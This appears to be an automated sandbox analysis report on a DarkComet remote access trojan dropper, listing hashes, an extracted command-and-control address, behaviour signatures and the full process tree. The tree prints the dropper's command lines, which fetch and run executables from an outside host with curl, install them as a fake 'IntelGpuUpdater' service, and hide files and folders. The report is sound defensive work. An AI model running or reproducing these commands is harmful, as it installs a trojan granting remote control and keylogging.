Analysis

  • max time kernel
    123s
  • max time network
    125s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    01-12-2024 20:41

General

  • Target

    Exploit++ Downloader.exe

  • Size

    27KB

  • MD5

    d363863c21f0d453eaaa438f00027554

  • SHA1

    7ba078266d3151068b500b9ce8cc4e579ad84a4a

  • SHA256

    12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4

  • SHA512

    1ff53e7a3f6eee3b99111a79bded3106fb809bd494b23839a5790a78f8b6baedbfaa707a16ceda481f93edde4d9b8bae06f12c444e16f7def5ce06f297f2bc37

  • SSDEEP

    384:SsuozKPc0cDxRHXLRq418p/d6tVqQ4m9lHM1UopuJE5UjovhObRZUbjMUWDBVhIB:TLLIXTEs1Urjov4RScUWD7hq7W2e0W0

Malware Config

Extracted

Family

darkcomet

Botnet

Guest16

C2

147.185.221.24:14161

Mutex

RO_MUTEX-QFYD2RJ

Attributes
  • InstallPath

    MSDCSC\msdcsc.exe

  • gencode

    scW2Kk9yHEWs

  • install

    true

  • offline_keylogger

    true

  • persistence

    false

  • reg_key

    GoogleDebugJ

Signatures

  • Darkcomet

    DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.

  • Darkcomet family
  • Modifies WinLogon for persistence 2 TTPs 3 IoCs
  • Modifies firewall policy service 3 TTPs 3 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Sets file to hidden 1 TTPs 4 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 44 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Exploit++ Downloader.exe
    "C:\Users\Admin\AppData\Local\Temp\Exploit++ Downloader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3280
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4856
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4240
        • C:\Windows\SysWOW64\curl.exe
          curl https://dontuseme.ct8.pl/test.exe
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5044
        • C:\Users\Admin\AppData\Local\test.exe
          C:\Users\Admin\AppData\Local\test.exe
          4⤵
          • Modifies WinLogon for persistence
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5084
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\test.exe" +s +h
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1440
            • C:\Windows\SysWOW64\attrib.exe
              attrib "C:\Users\Admin\AppData\Local\test.exe" +s +h
              6⤵
              • Sets file to hidden
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:4304
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local" +s +h
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3708
            • C:\Windows\SysWOW64\attrib.exe
              attrib "C:\Users\Admin\AppData\Local" +s +h
              6⤵
              • Sets file to hidden
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:5028
          • C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe
            "C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe"
            5⤵
            • Modifies WinLogon for persistence
            • Modifies firewall policy service
            • Modifies security service
            • Windows security bypass
            • Disables RegEdit via registry modification
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:3136
            • C:\Windows\SysWOW64\notepad.exe
              notepad
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3164
            • C:\Windows\SysWOW64\notepad.exe
              notepad
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2968
        • C:\Windows\SysWOW64\timeout.exe
          timeout 5
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:4876
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1264
        • C:\Windows\SysWOW64\curl.exe
          curl https://dontuseme.ct8.pl/test.exe
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3412
        • C:\Windows\SysWOW64\curl.exe
          curl https://dontuseme.ct8.pl/nssm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2712
        • C:\Windows\IntelGpuUpdaterHelper.exe
          C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4020
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c sc start IntelGpuUpdater
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1624
          • C:\Windows\SysWOW64\sc.exe
            sc start IntelGpuUpdater
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:8
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4752
          • C:\Windows\SysWOW64\sc.exe
            sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2212
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c pause
      2⤵
      • System Location Discovery: System Language Discovery
      PID:788
  • C:\Windows\IntelGpuUpdaterHelper.exe
    C:\Windows\IntelGpuUpdaterHelper.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:2576
    • C:\Windows\IntelGpuUpdater.exe
      "C:\Windows\IntelGpuUpdater.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of AdjustPrivilegeToken
      PID:2552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows\IntelGpuUpdater.exe" +s +h
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2188
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Windows\IntelGpuUpdater.exe" +s +h
          4⤵
          • Sets file to hidden
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2124
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows" +s +h
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1968
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Windows" +s +h
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3548
      • C:\Windows\TEMP\MSDCSC\msdcsc.exe
        "C:\Windows\TEMP\MSDCSC\msdcsc.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5116
        • C:\Windows\notepad.exe
          notepad
          4⤵
          • Modifies data under HKEY_USERS
          PID:2588
    • C:\Windows\IntelGpuUpdater.exe
      "C:\Windows\IntelGpuUpdater.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:1852
      • C:\Windows\notepad.exe
        notepad
        3⤵
          PID:1148
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4080
          • C:\Windows\SysWOW64\sc.exe
            sc delete IntelGpuUpdater
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3416
          • C:\Windows\SysWOW64\sc.exe
            sc stop IntelGpuUpdater
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2852

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\test.exe

      Filesize

      251KB

      MD5

      59a062d42753c520fa5531b312edafbd

      SHA1

      cccbea6327b6fb94c3874981531074edea20c776

      SHA256

      d616881a05c6d49f93d5a1997bd98c13991c1cc8ee2c3a2c05749ce12288cc8e

      SHA512

      5f9a9db8672d89880535c5e5d8f50f0a3b750c246ef900cbaffd9e29abd90c8c84832c269bbf6923c27526432ce3997fd3457e2b691f31eef356f65eec669032

    • C:\Windows\IntelGpuUpdaterHelper.exe

      Filesize

      256KB

      MD5

      c721739bd54dd9beb16909f6807b73c5

      SHA1

      5ec54658246914144293357f302e68bf9972fb71

      SHA256

      7376ce1eefd786d30efbecb716a13e9d23d27cfc362ce1bbc2fbebdf4fbf54ea

      SHA512

      0800c5f0425237219d7d34654cc021b8b8aa1fce1545ba9815c7be12a623edb08a098fd4de40ccc867487639647cb7f316316464a3a0bdb0650fdd2852408b4e

    • memory/1852-26-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/1852-45-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/1852-48-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/1852-46-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/2552-18-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/2552-20-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/2968-39-0x00000000005D0000-0x00000000005D1000-memory.dmp

      Filesize

      4KB

    • memory/3136-24-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3136-29-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3136-31-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3136-35-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3136-37-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3136-41-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/3164-7-0x0000000000350000-0x0000000000351000-memory.dmp

      Filesize

      4KB

    • memory/5084-4-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/5084-5-0x00000000022C0000-0x00000000022C1000-memory.dmp

      Filesize

      4KB

    • memory/5084-8-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB

    • memory/5116-22-0x0000000000400000-0x00000000004B7000-memory.dmp

      Filesize

      732KB